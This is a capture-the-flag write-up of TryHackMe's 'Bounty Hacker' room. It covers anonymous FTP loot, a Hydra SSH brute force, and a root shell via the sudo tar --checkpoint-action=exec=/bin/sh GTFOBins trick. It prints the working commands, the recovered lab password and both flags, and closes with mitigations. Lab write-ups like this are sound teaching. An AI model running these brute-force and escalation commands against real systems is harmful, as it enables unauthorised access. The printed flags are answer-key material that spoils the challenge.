This Box Basically Wrote My Hydra Command for Me — Bounty Hacker (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: Anonymous FTP / Credential Brute Force / sudo tar GTFOBins

Introduction

Some boxes make you work for the username. This one hands it to you signed, along with a custom password wordlist that might as well be labelled "try these." When the target itself does half your reconnaissance for you, the real skill being tested shifts — it's not "can you find the credential," it's "do you actually know what to do once it's sitting in your hand."

Bounty Hacker is a Cowboy Bebop themed room where you're cast as a hacker trying to impress the crew of the Bebop. Jet wants root. Ed is busy. Faye is unimpressed, as usual. The machine itself is the digital equivalent of leaving your front door open with a note on it saying "username is on the kitchen table." Anonymous FTP, a custom wordlist that might as well be labelled "try these," and a sudo rule that grants tar to a non-root user. See you, Space Cowboy.

Recon

Full port range with RustScan, Nmap for service fingerprinting:

rustscan -a 10.49.182.111 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

Port	Service	Version
21/tcp	FTP	vsftpd 3.0.5 — anonymous login allowed
22/tcp	SSH	OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp	HTTP	Apache httpd 2.4.41 (Ubuntu)

Anonymous FTP flagged by Nmap immediately. This is becoming a pattern — if the scanner hands you an open door, you walk through it first. SSH on standard port 22 this time.

The passive mode PASV error appeared immediately — FTP defaulted to active mode cleanly on its own this time:

ftp 10.49.182.111

Name: anonymous
230 Login successful.
ftp> ls
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt

Two files. Both downloaded immediately.

ftp> get task.txt
ftp> get locks.txt

# task.txt contents
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin

# locks.txt contents (excerpt)
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
...
RedDr4gonSynd1cat3
...

(truncated — full wordlist: 26 entries)

task.txt signs off as lin — that's the username. locks.txt is a 26-entry custom password list. The box is practically writing the Hydra command for us.

The homepage renders a crew picture and the in-character dialogue — nothing interactive. Feroxbuster ran regardless.

feroxbuster -u http://10.49.182.111 \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x php,txt,html

# output (relevant hits only)
200  http://10.49.182.111/index.html
301  http://10.49.182.111/images
301  http://10.49.182.111/javascript

Nothing actionable. The web server is set decoration. The real attack surface is FTP and SSH.

Foothold

With username lin confirmed from the FTP note and a custom wordlist already in hand, Hydra's job here is almost ceremonial.

Brute forcing SSH with the recovered wordlist — -t 4 recommended for SSH to avoid connection throttling:

hydra -l lin -P /home/farhan/locks.txt ssh://10.49.182.111

# output
[22][ssh] host: 10.49.182.111   login: lin   password: RedDr4gonSynd1cat3
1 of 1 target successfully completed

Six seconds. 26 candidates. One hit.

Username	Password	Where Found
lin	RedDr4gonSynd1cat3	task.txt (username) + locks.txt brute force

Shell / Access

ssh lin@10.49.182.111

# output
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64)
lin@ip-10-49-182-111:~$

find / -name user.txt 2>/dev/null
cat /home/lin/Desktop/user.txt

THM{CR1M3_SyNd1C4T3}

Escalation

Checking what lin can run as root:

sudo -l

User lin may run the following commands on ip-10-49-182-111:
    (root) /bin/tar

tar is an archiving tool — but it supports a --checkpoint-action option designed for running scripts at archive checkpoints. When combined with --checkpoint=1, the action fires immediately on the first file. Passing exec=/bin/sh as the action tells tar to spawn a shell at that checkpoint. Since tar is running as root via sudo, the spawned shell inherits root privileges. This is a classic GTFOBins escalation: the binary has a legitimate feature that becomes a privilege escalation vector when run with elevated permissions.

One command to root — archiving /dev/null to /dev/null as a throwaway operation, firing the checkpoint immediately:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

# output
tar: Removing leading '/' from member names
# whoami
root

cat /root/root.txt

THM{80UN7Y_h4cK3r}

Exploitation — The Full Chain

1. Anonymous FTP → task.txt revealed username lin, locks.txt provided a custom password wordlist
2. Hydra SSH brute force against the 26-entry wordlist → plaintext password RedDr4gonSynd1cat3
3. SSH login as lin → user flag
4. sudo tar GTFOBins → root shell in one command → root flag

Flags

Flag	Value	Location
User	THM{CR1M3_SyNd1C4T3}	/home/lin/Desktop/user.txt
Root	THM{80UN7Y_h4cK3r}	/root/root.txt

Mitigations

Vulnerability	Severity	Mitigation
Anonymous FTP serving sensitive files	High	Disable anonymous FTP; never store usernames or password lists on publicly accessible services
Weak/guessable password in a short custom wordlist	High	Use long, randomly generated passwords; never maintain a "list of candidate passwords" anywhere on the system
sudo tar with NOPASSWD	Critical	Remove tar from sudoers; if archiving tasks require elevated access, use sudoedit or a dedicated restricted script — consult GTFOBins before adding any binary to sudoers

Key Takeaway

GTFOBins is not just a list of fun tricks — it's a mandatory pre-flight checklist before granting sudo to any binary. If the tool appears on GTFOBins, granting it unrestricted sudo is granting root. tar, vim, less, awk, python, perl, find — the list is long and the escalations are trivial.

---

Room: TryHackMe — Bounty Hacker